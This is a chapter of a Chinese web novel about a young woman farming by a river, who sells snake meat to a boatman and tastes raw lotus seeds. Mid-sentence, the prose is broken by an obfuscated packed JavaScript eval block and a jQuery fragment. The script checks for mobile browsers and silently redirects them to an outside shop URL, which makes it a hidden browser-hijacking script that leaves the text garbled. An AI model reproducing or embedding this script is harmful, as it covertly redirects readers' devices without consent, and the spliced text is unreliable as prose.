35.生吃莲子

作品:《荒山安居日常

    山坡上,豆叶上的水珠在雾气中颤颤巍巍,随着风的吹动,一会儿东翻,一会儿西倒,直到结束灌溉工作的黄迎春挑着两个空桶走去河边,还是没能全部落进地里。


    黄迎春在河里取了水,将扁担稳当地压在肩上,一边往家走,一边思索她的安排。


    菜地一早浇过了,今天赶去镇上把东西卖完,再寻一间客栈住一晚,明天早上一把东西买完就回来,最迟傍晚前到家,还能赶上再浇一趟,应当没什么大问题。


    稻田里的水昨日傍晚就放好了,今早她挑水时又站在田垄上看了一眼,田里的水足够再支撑两天。


    现在还不到夏天最炎热的时候,地里前几天刚施过一次肥,哪怕水稻吸收营养的速度再快,她预留的水肥也够它们这两天使的了。


    只有除虫,她实在是无能为力。


    实在不行,就再拿一百文出来吧,买些鸭苗,趁着水稻还没抽穗,把它们放在水田里,既杀了虫,又填饱了小鸭子的肚子,鸭粪落在稻田里,兴许还能给水稻提些产量。


    只是,一百文能买多少只鸭苗呢?


    也不能买太小的,刚出生的雏鸭夭折率高,最好还是买些健壮有活力的,一看就神采奕奕,富有生机的。


    好的鸭苗,价格自然得再提一等。


    黄迎春想了又想,又从包袱里拨出六十文。


    永安城里一枚鸡蛋要三文钱,与一枚在卤水里腌制许久的咸鸭蛋同价。


    她在临安镇也打听过,这两者的价格在城里和镇上也相差不多。


    按理来说,既然鸡蛋的价格比鸭蛋贵,那么母鸡的价格也应当比母鸭贵,然而,事实上,母鸡和母鸭的价格相近,而且母鸭的价格通常会比母鸡贵一点儿。


    好生照顾的话,母鸭和母鸡一年间的产蛋量是差不多的。


    农家没有多少进项,鸡蛋鸭蛋是重要的一项。


    无论男女,只要是大人,一年到头便吃不了几个蛋。


    哪怕家里鸡鸭成群,也只有年纪小又受宠的小孩子才能隔三岔五尝一口蛋味。


    每日清晨从鸡笼鸭舍里摸出来的好蛋,有的要拿去做种蛋,有的要拿去外出行走做人情往来,更多的则是攒着留着赶集时拿去卖钱,自家吃的情况是极少的。


    黄迎春虽然蛋吃得少,但她还在黄家时,几乎每天都能在饭桌上听到祖母念叨今日家里又收了几个蛋。


    日复一日,年复一年,渐渐的,黄迎春也摸清了鸡鸭下蛋的规律,知道鸡鸭下蛋的数量差不多——年景好的时候一年一只母鸡或母鸭能下一百个蛋,年景不好、吃食不丰时,一年六七十个蛋也是有的。


    黄迎春从小连蛋都吃不上几个,鸡肉和鸭肉自然更无法肖想。


    祖母把家里的鸡鸭看得严严的,连清晨摸蛋都不肯让别人来干,生怕家中有人偷偷昧下她的宝贝蛋,撬了她的棺材本。


    祖母不仅不让别人吃蛋,自己也不吃,没有营养进补又要大量劳作的人老得快。


    黄迎春越长越大,祖母的腰也越来越弯,渐渐的,再去赶集卖蛋,祖母也只能让黄迎春提着装蛋的篮子和她一起去了。


    黄迎春因而得知鸭蛋比鸡蛋便宜,母鸭却比母鸡贵的原因。


    医馆的大夫们认为鸡蛋性平,不寒不热,适合各类人群进补,尤其是它滋阴润燥、养血安胎的功效,更被大家视为病人、产妇和体虚者的调养佳品。


    而鸭蛋不仅性凉,腥味也更重,由于口感的偏好和受众数量的影响,所以鸡蛋的价格比鸭蛋高。


    至于母鸭为什么比母鸡贵,是因为安朝定都在南方,南方水多,水多则麻鸭多,麻鸭在春、夏等水草和鱼虾丰富的时节大量下蛋,但它们在无论哪个季节都不喜欢抱窝,母鸭不抱窝,受精的鸭蛋就变不成小鸭,吃鸭蛋的人本就比吃鸡蛋的人少,并不会对鸭蛋的价格产生多少影响。


    但鸭肉就不一样了,没有足够多的小鸭,就长不成大量的成鸭,鸭肉的市场渐渐演变成供少于求的状态,随着时间的发展和市场的稳定,母鸭的价格比母鸡高,就成了众人默认的事实。


    黄迎春想了许多天,也许养鸭是她唯一的致富路。


    现在是夏季,河里气温回暖,水草迅速蔓延,鱼虾大量繁殖,是鸭苗最不缺食物的时候。


    鸭子喜欢水,而她最不缺的就是水。


    她家附近就是一条河,河流宽阔得她至今没找到办法渡岸,沿河下去就是竹林,竹林旁边又有一条小溪,溪里的鱼虾螺蟹数不胜数……只要限定好范围不让小鸭子们沿着水流跑走,把它们养到秋天,一点儿问题也没有。


    至于冰天雪地、没有食物来源的冬天,那就等到了再说吧。


    兴许这里的冬天没有黄家村里的冬天冷呢。


    黄迎春思来想去,最后索性把一贯钱全分装在笋壳里带走。


    油纸价贵,黄迎春在镇上买菜种时,菜农用来包装菜种的材料都是层层叠叠的干荷叶。


    临安多河湖,有水的地方就有荷叶,荷叶是不要钱的,怕东西从里面漏出来,多包几层便是了。


    无论是包食物还是包细碎的东西,镇上的人们用的大多是不值钱的荷叶,少有人用油纸。


    哪怕是野生荷叶,也多生于湖泊和池塘。


    黄迎春家旁边的河里只有各种各样的水草,没有一片荷叶。


    既无油纸,又无荷叶,黄迎春想包装东西,只能另辟蹊径。


    好在,距她家不远处,便有一片茂盛的竹林。


    春天,竹笋都从地里冒了尖。


    随着竹笋的生长,笋壳会自然脱落。


    笋壳不仅是引火的好材料,将它们带回家洗净晒干,还可以替代油纸。


    拿来包裹虾干,能防虫防霉。


    拿来放置虾粉,还能防潮。


    黄迎春平时在地里劳作时,脚下踩着的草鞋底就是用笋壳纳成的。


    她把笋壳一片片地剥下来,放在竹筐里,背到河边洗净,用竹丝络刷去表面刺人的绒毛,再提回家中,铺在簸箕上,拿到院子里,放在太阳下晾晒,晒干后收起来,就成了黄迎春制作草鞋和包裹食物的材料。


    今天,黄迎春就用笋壳收纳了她的钱、虾干、蛇胆等一堆要带到镇上买卖的东西。


    这些东西被她装在一块方方正正的厚布里,然后,她把布打成一个结实的包袱,背在身上。


    人靠衣装马靠鞍,买卖东西想要上价,自己身上穿的就不能太便宜太邋遢,黄迎春在浇完地里的水后,特意换了一身样式最齐整最鲜艳的衣裳。


    今天去镇上,除了买东西,最主要是卖鱼。


    鱼是黄迎春在换衣前就收拾好了的。


    为了她要带去镇上售卖的两桶鱼,黄迎春可谓是绞尽脑汁。


    从河里把鱼网起来后,黄迎春立刻把她捉来的鱼放在提前铺了水草的鱼篓里。


    水草事先在水中浸过,湿淋淋的,一股子水意挡都挡不住,直往鱼篓外冒。


    装鱼用的鱼篓,是黄迎春新编的,竹编的材料本就透气,但不放心的黄迎春仍绞尽脑汁,在保证鱼篓结实的前提下,把它编得更透气了一些。


    为了延长鱼存活的时间,黄迎春还特意把鱼篓也放在河里浸了许久。


    这几天黄迎春一直在为去镇上做准备,所以她捉了不少鱼。


    鱼篓装不下的,被黄迎春倒进装了少量清水的木桶。


    为了减少鱼的耗氧,黄迎春还在桶里插了一段柳枝。


    自然,最理想的运鱼方式是通过船只运输。


    黄迎春从镇上的渡口转乘来荒山时,曾坐过一艘鱼腥味极重的小船。


    船主晨起运鱼,鲜鱼售空后,便开始载人。


    为了多赚一点船资,一趟也不肯走空。


    虽然辛苦,但他乐在其中。


    见黄迎春好奇,船主还特意给黄迎春讲解了用船只运鱼的门道。


    “不是所有的木船都能拿来运鱼。运输鲜鱼的船是一种专用的活水船,多为方头平底,船舱底部和左右在特定位置上开孔,蒙孔的竹席和纱布也有讲究,必须要能透水的……”


    船主和黄迎春讲了许多,直到把黄迎春一行人送上岸,还没彻底讲完。


    不过,船主说得再多,黄迎春也只能当听个趣儿。


    一艘小船的造价,哪怕是一叶只能容纳寥寥几人的普通木船,也不是黄迎春能够得上的。


    她更希望自己能拥有一个大水缸,可惜,这个愿望注定此行无法实现。


    蛇肉的保鲜也耗费了黄迎春大量的脑细胞。


    如果有口井,把蛇肉往井里一吊,不知道多省事。


    可惜,黄迎春没有井,为了保鲜,她只能把蛇肉装在笋壳里,再把笋壳放在竹篮里,然后把竹篮浸在石缝中。


    昨天,她不知道往河边跑了多少次,转换了多少地方,生怕她的蛇肉不知道什么时候就被水给冲走或被其他动物给破坏了。


    好在,经过黄迎春的不懈努力,最终,蛇肉安然无恙。


    黄迎春清点好所有物品,又在家里的几间房里转了一圈,见实在没什么不妥当的,而此时日头也渐渐升高了,终于,黄迎春挑起扁担出了门。


    她沿着自己印象中的路标,一路走走停停,生怕在这条自己只走过一回的路上遇上什么意外。


    黄迎春一路上都是止不住的担忧,她一会儿担心草里同昨天一样突然游出来一只菜花蛇,一会儿忧心离了河的鱼和蛇肉在越来越高的气温中失去鲜味。


    越是着急,黄迎春越不敢停下她的脚步。


    肩上的伤口还在隐隐作痛,黄迎春换了一边肩膀挑担,在心里不断地提醒自己:“小心,要小心。”


    若是摔了,或是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973309|190244||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    遇上前些天落进河里的事情,反而得不偿失。


    不知走了多久,黄迎春听到了一声悠长的人声——那是船夫在训捕食的鱼鹰。


    “船家,等等!可还有座?”


    “有有有——”正在从鱼鹰嘴里把鱼拿出来的船家连声应道,“娘子去哪?”


    “去临安镇上。”


    黄迎春和船家商定好船资,又把自己的行李送上船,还没喘上一口气,便见一条水蛇绕在船头吐着信子。


    船家只见自己一眨眼,黄迎春的手里就多了一条缠在她手腕间的水蛇。


    “放这里。”船家连忙从船舱角落里拿出一个蛇笼。


    黄迎春在花草司当值时,捉过不少从花丛里游出来的蛇。


    不管是地上还是水中,抓蛇这回事,其实都是熟能生巧,所以黄迎春到哪碰上蛇都是如鱼得水。


    在黄家村里抓到蛇,她的第一反应是祭自己的五脏庙。


    在花草司里抓到蛇,蛇的归宿黄迎春说了不算,通常都是应上官的要求,把蛇几刀剁死就地掩埋制成花肥。


    蛇遇上黄迎春,通常活不过第二天,黄迎春从来没打过把蛇拿去卖的念头,所以她会编许多东西,但不会编织蛇笼。


    船家倒是编织蛇笼的个中好手,据他所说,他不仅载人,也靠水吃水,时常卖点渔获。


    “娘子这蛇卖吗?若是想卖,我做个中人,倒有个好去处。”


    船家这话正中黄迎春下怀,她掏出浸在水里的笋壳,把肉质还很新鲜的蛇肉递到船家面前,问道:“您收这种蛇肉吗?”


    “嗬——”正要划船的船家望了一眼黄迎春手中的蛇肉,惊得把船桨一丢,连忙问道,“娘子手里可还有更多的?”


    船家一边赞叹蛇肉的个头,一边和黄迎春商谈:“这么大的个头,又是野生的,可是不常见啊。不瞒娘子,我有个老主顾,极爱吃蛇,三五天不吃一顿龙凤汤就睡不着觉。娘子可是要去镇上卖蛇?不如卖给我那位老主顾。他是惯常吃蛇的,以后也能做笔长久生意。”


    “有是有。”黄迎春面露难色,“只是凑不成一条。”


    黄迎春没说自己吃了一段,只说那菜花蛇是多么的凶猛异常,她捉蛇的过程又是多么跌宕起伏,险象环生,直把船家听得浓眉紧锁,拍着大腿呼喊不停。


    “这可是有‘百蛇之王’之称的菜花蛇呢,不知吃了多少蛇,才长成这样的大个头。我今天一路走来,再没有遇见一条蛇,可见周围几里的蛇都被它吃尽了,再拿鸡肉和黄芪、枸杞一炖,这样一锅龙凤汤,不知有多补!最要紧的是,此蛇无毒,味美又鲜……”


    黄迎春一番天花乱坠地夸谈,把她的蛇肉说得天上有地下无。


    船家心动不已,正担忧黄迎春狮子大开口时,黄迎春又将定价的主动权交到了他手中。


    船家把散发着鱼腥味的一串钱递给笑意不断的黄迎春时,心里还奇怪:先前看这娘子说了那许多话都顾不上停一停,一看就是要价高、不好糊弄的主儿,怎的又这么好说话,说二百文就是二百文,竟一点儿也不歪缠?


    黄迎春怎么可能歪缠呢?


    她又没有卖过蛇肉,不知道蛇肉的价格。再说蛇皮是阴物,就是因为人们怕害了蛇之后会被蛇缠上。


    这世上吃鸡鸭鱼肉的人多,爱吃蛇的人是少之又少。


    错过这个村,还不知道什么时候才能等到下一个店。


    蛇肉本来就是昨天剥的,她一直担心蛇肉变质后竹篮打水一场空,眼下还没赶到镇上就能脱手,不知道是多大的好事。


    一斤蛇肉能卖出比一斤鱼肉还高的价格,黄迎春已经很满足了。


    船家做了一笔有赚头的好生意,心里也痛快,大方地送了几把莲蓬给黄迎春尝鲜。


    莲蓬是船家一早在露水将落时采的,嫩生生的绿,看着就喜人。


    惊喜的黄迎春笑脸盈盈地道了谢。


    莲蓬掰开的声音清脆又解压,嫩绿的莲子放在嘴里,一嚼就是一股青涩的苦味。


    黄迎春又从碧绿的莲蓬里剥出一颗,去掉莲子的外皮,还想剥莲子心时,被眼尖的船家及时制止:“这时候的莲蓬最鲜嫩,莲子的莲心是嫩黄色的,吃起来一点儿也不苦,不用去心吃。”


    黄迎春一尝,果真如此。


    莲子清甜脆爽,嫩生生的,水分又多,既好吃又解渴。


    黄迎春说得十分诚心:“我从来没有生吃过莲子,还不知道新鲜的莲子吃起来是这种味道呢,今日托您的福,也是长了见识了。”


    船家高兴不已,又给黄迎春送了两枝莲蓬,让她一边吹风一边慢慢吃。


    船桨荡开水纹,黄迎春坐在船头,一边剥莲蓬,把新鲜的莲子往嘴里送,一边望着时而静谧时而喧嚣的河畔,想着怀里热乎的二百文,笑得眉眼弯弯。


    夏天真美好啊!